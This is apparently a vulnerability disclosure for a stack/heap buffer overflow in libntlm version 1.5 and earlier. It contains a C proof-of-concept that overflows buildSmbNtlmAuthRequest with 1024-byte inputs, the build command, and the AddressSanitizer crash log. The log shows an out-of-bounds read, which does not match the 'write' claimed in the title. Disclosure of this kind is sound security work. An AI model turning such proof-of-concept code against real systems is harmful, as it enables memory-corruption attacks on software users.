Buffer Overflow Write when libntlm generates NTLM request (version<=1.5)
The buffer in struct tSmbNtlmAuthRequest/tSmbNtlmAuthChallenge/tSmbNtlmAuthResponse has a static size(buffer[1024]), and there is no checking of the length of members in NTLM message, which will lead to buffer overflow write in heap or stack when the program generates a NTLM request.
POC:
#include<ntlm.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
extern void buildSmbNtlmAuthRequest(tSmbNtlmAuthRequest * request, const char *user, const char *domain);
int main (void)
{
char user[1024];
char domain[1024];
memset(user,'a',1024);
memset(domain,'b',1024);
tSmbNtlmAuthRequest request;
tSmbNtlmAuthChallenge challenge;
tSmbNtlmAuthResponse response;
buildSmbNtlmAuthRequest (&request, user, domain);
return 0;
}
In command line:
clang -fsanitize=address ./poc.c ./.libs/libntlm.a -o poc
./poc
Output:
=================================================================
==11393==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffec3abdca0 at pc 0x0000004830a3 bp 0x7ffec3abd840 sp 0x7ffec3abcff0
READ of size 1025 at 0x7ffec3abdca0 thread T0
#0 0x4830a2 in __interceptor_strchr.part.35 /root/libfuzzer-workshop/src/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:682
#1 0x4f0a1f in buildSmbNtlmAuthRequest /root/libntlm-1.5/smbutil.c:271
#2 0x4f00b6 in main (/root/libntlm-1.5/poc+0x4f00b6)
#3 0x7f3f93f0882f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#4 0x41af38 in _start (/root/libntlm-1.5/poc+0x41af38)
Address 0x7ffec3abdca0 is located in stack of thread T0 at offset 1056 in frame
#0 0x4efe9f in main (/root/libntlm-1.5/poc+0x4efe9f)
This frame has 3 object(s):
[32, 1056) 'user'
[1184, 2208) 'domain' <== Memory access at offset 1056 partially underflows this variable
[2336, 3396) 'request'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /root/libfuzzer-workshop/src/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:682 in __interceptor_strchr.part.35
Shadow bytes around the buggy address:
0x10005874fb40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005874fb50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005874fb60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005874fb70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005874fb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10005874fb90: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x10005874fba0: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
0x10005874fbb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005874fbc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005874fbd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005874fbe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==11393==ABORTING
Aborted